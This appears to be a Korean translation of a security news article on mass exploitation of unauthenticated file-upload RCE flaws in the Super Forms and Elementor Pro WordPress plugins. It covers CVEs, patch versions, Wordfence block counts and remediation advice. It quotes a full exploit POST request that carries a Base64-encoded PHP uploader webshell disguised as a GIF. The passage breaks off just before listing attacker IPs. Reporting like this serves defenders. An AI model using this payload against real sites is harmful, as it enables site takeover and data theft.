WordPress 플러그인 Super Forms·Elementor Pro의 RCE 취약점을 겨냥한 익스플로잇 시도 44만 건 돌파

한 줄 요약

워드프레스(WordPress) 플러그인인 Super Forms와 Elementor Pro에서 치명적인 보안 취약점이 발견돼 현재 대규모로 악용되고 있습니다. 두 취약점 모두 로그인하지 않은 공격자가 PHP 파일을 서버에 올릴 수 있어, 사이트 전체를 장악하거나 관리자 계정을 임의로 만들고 데이터를 빼낼 수 있습니다. 보안 업체 Wordfence에 따르면 두 취약점을 겨냥한 공격 시도가 이미 44만 건을 넘었습니다. 해당 플러그인을 사용 중인 사이트 운영자는 즉시 최신 버전으로 업데이트하고, 서버에서 의심스러운 PHP 파일이 새로 생겼는지 확인해야 합니다.

사건

WordPress 플러그인 Super Forms(CVE-2026-14894, CVSS 9.8)와 Elementor Pro(CVE-2026-32475, CVSS 9.0/9.8)의 파일 업로드 검증 미흡 취약점이 실제 공격에 활발히 악용되고 있으며, Wordfence가 각각 25만 건, 19만 건 이상의 익스플로잇 시도를 차단했다.

영향

인증되지 않은 공격자가 PHP 웹셸을 서버에 업로드해 원격 코드 실행(RCE)이 가능하며, 관리자 계정 생성·데이터 탈취·사이트 완전 장악으로 이어질 수 있다.

원인

두 플러그인 모두 파일 업로드 시 파일 유형 검증 로직이 누락되어 있어, 공격자가 이미지로 위장한 PHP 파일을 서버에 올릴 수 있다.

대응

Super Forms는 버전 6.3.314, Elementor Pro는 버전 4.2.2에서 각각 수정됐다. 즉각적인 패치 적용과 함께 침해 지표 확인 및 최근 수정된 .php 파일 감사가 권고된다.

실무 포인트

해당 플러그인 사용 사이트는 지금 즉시 업데이트해야 하며, '/wp-content/uploads/' 하위 디렉터리에 새로 생성되거나 변경된 .php 파일이 없는지 점검해야 한다. 방화벽에서 공격 출처 IP 차단도 병행할 것.

본문

Ravie Lakshmanan · 2026년 9월 4일 · 취약점 / 웹 보안

Wordfence의 조사 결과에 따르면, 위협 행위자들이 WordPress 플러그인 Super Forms와 Elementor Pro의 두 가지 치명적인 보안 취약점을 적극적으로 악용하고 있다.

문제의 취약점은 다음과 같다.

CVE-2026-14894 (CVSS 점수: 9.8) — Super Forms – Drag & Drop Form Builder의 파일 유형 검증 누락 취약점. 인증되지 않은 공격자가 실행 가능한 PHP 파일을 포함해 임의 유형의 파일을 업로드할 수 있어 원격 코드 실행(RCE)으로 이어진다. (버전 6.3.314에서 수정)
CVE-2026-32475 (CVSS 점수: 9.0/9.8) — Elementor Pro의 취약점. 인증되지 않은 공격자가 실행 가능한 PHP 파일을 포함해 임의 유형의 파일을 업로드할 수 있어 원격 코드 실행(RCE)으로 이어진다. (버전 4.2.2에서 수정)

이 유형의 임의 파일 업로드 취약점과 마찬가지로, 공격자는 이를 이용해 PHP 웹셸을 사이트에 기록하고 임의 코드를 실행할 수 있으며, 이를 통해 관리자 계정 생성·데이터 탈취·WordPress 사이트 전체 장악까지 가능하다.

CVE-2026-32475의 세부 내용은 지난달 Patchstack에 의해 공개된 바 있다. 성공적인 익스플로잇을 위해서는 대상 사이트에 파일 업로드 필드가 포함된 Form 위젯이 들어간 Elementor 페이지가 하나 이상 게시되어 있어야 한다.

이번 주 발행한 두 건의 보고서에서 Wordfence는 CVE-2026-14894와 CVE-2026-32475를 겨냥한 익스플로잇 시도를 각각 25만 건, 19만 건 이상 이미 차단했다고 밝혔다.

CVE-2026-14894 악용 공격

CVE-2026-14894를 악용하는 공격에서, 위협 행위자들은 Base64로 인코딩된 PHP 페이로드와 공격자가 지정한 파일명을 포함한 파일 필드를 담아 "super_submit_form" 엔드포인트로 "/wp-admin/admin-ajax.php"에 HTTP POST 요청을 보내는 것으로 확인됐다. 예시는 다음과 같다.

action=super_submit_form&form_id=2&sf_nonce=04c3aa2046&data={"sf_upload_field": {"type": "files", "files": [{"datauristring": "data:image/gif;base64,PD9waHAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSl7JHRhcmdldD1iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0KSl7ZWNobyLinIUgVXBsb2FkZWQ6IDxhIGhyZWY9JyR0YXJnZXQnPiR0YXJnZXQ8L2E+Ijt9ZWxzZXtlY2hvIuKdjCBVcGxvYWQgZmFpbGVkISI7fWV4aXQ7fT8+PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPk11c2hyMDB3IFVwbG9hZGVyPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7aGVpZ2h0OjEwMHZoO21hcmdpbjowOyI+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iYmFja2dyb3VuZDojMTExO3BhZGRpbmc6NDBweDtib3JkZXI6MnB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXJhZGl1czoxMHB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGgyPvCfk6QgVVBMT0FEPC9oMj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2JvcmRlcjoxcHggc29saWQgIzAwZmYwMDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Ij48YnI+PGJyPjxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDojMDBmZjAwO2NvbG9yOiMwYTBhMGE7cGFkZGluZzoxMHB4IDMwcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjsiPuKshiBVcGxvYWQ8L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4=", "value": "Mushr00w_upl.php", "name": "Mushr00w_upl.php", "label": "attachment"}]}}

업로드된 파일은 "data:image/gif;base64" 콘텐츠 유형으로 위장되어 있지만, 실제로는 PHP 파일 업로더 웹셸("Mushr00w_upl.php")로서 추가 페이로드를 사이트에 올리는 통로 역할을 한다. Super Forms 플러그인을 악용한 공격은 다음 IP 주소에서 발생했다.